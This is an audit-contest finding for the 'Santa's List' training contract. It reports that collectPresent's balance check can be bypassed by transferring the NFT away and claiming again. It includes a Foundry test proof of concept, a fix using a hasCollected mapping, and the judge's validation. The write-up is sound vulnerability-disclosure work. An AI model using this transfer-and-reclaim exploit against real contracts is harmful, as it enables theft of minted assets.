First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Infinite Free NFTs & Tokens via poor check in `collectPresent`

alexbabits

Summary

In collectPresent, the check if (balanceOf(msg.sender) > 0) revert SantasList__AlreadyCollected(); is useless. If someone has an NFT, they can simply transfer it to a friend or another address, making their original balance 0 so they can keep claiming more NFTs as long as they are still NICE or EXTRA_NICE.

PoC

Add this test to the existing suite. You could also write a more sophisticated script to automate this process of clearing an account of their NFT before collecting another gift.

address littleJimmy = makeAddr("littleJimmy");
address littleTimmy = makeAddr("littleTimmy");
​
// Little Jimmy and Timmy working together to swindle Santa.
function test_Collect_Multiple_Presents() public {
vm.startPrank(santa);
santasList.checkList(littleJimmy, SantasList.Status.NICE);
santasList.checkTwice(littleJimmy, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(littleJimmy);
santasList.collectPresent();
santasList.safeTransferFrom(littleJimmy, littleTimmy, 0);
santasList.collectPresent();
​
vm.stopPrank();
assertEq(santasList.balanceOf(littleJimmy), 1);
assertEq(santasList.balanceOf(littleTimmy), 1);
}

Impact

A malicious user can mint as many free NFTs and/or tokens as they want.

Tools Used

Manual Review

Recommendations

Rather than checking the callers balance, make a Boolean mapping to determine if the person has already collected their gifts. Notice in the below fix that the effect (updating the mapping of the caller to true if they are about to mint free stuff), is executed before the actual minting (Interaction) process. This prevents re-entrancy attacks by following CEI.

+ mapping(address person => bool) public hasCollected;
​
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) revert SantasList__NotChristmasYet();
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
+ if (hasCollected[msg.sender]) revert SantasList__AlreadyCollected();
​
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ hasCollected[msg.sender] = true;
_mintAndIncrement();
return;
} else if (s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE) {
+ hasCollected[msg.sender] = true;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.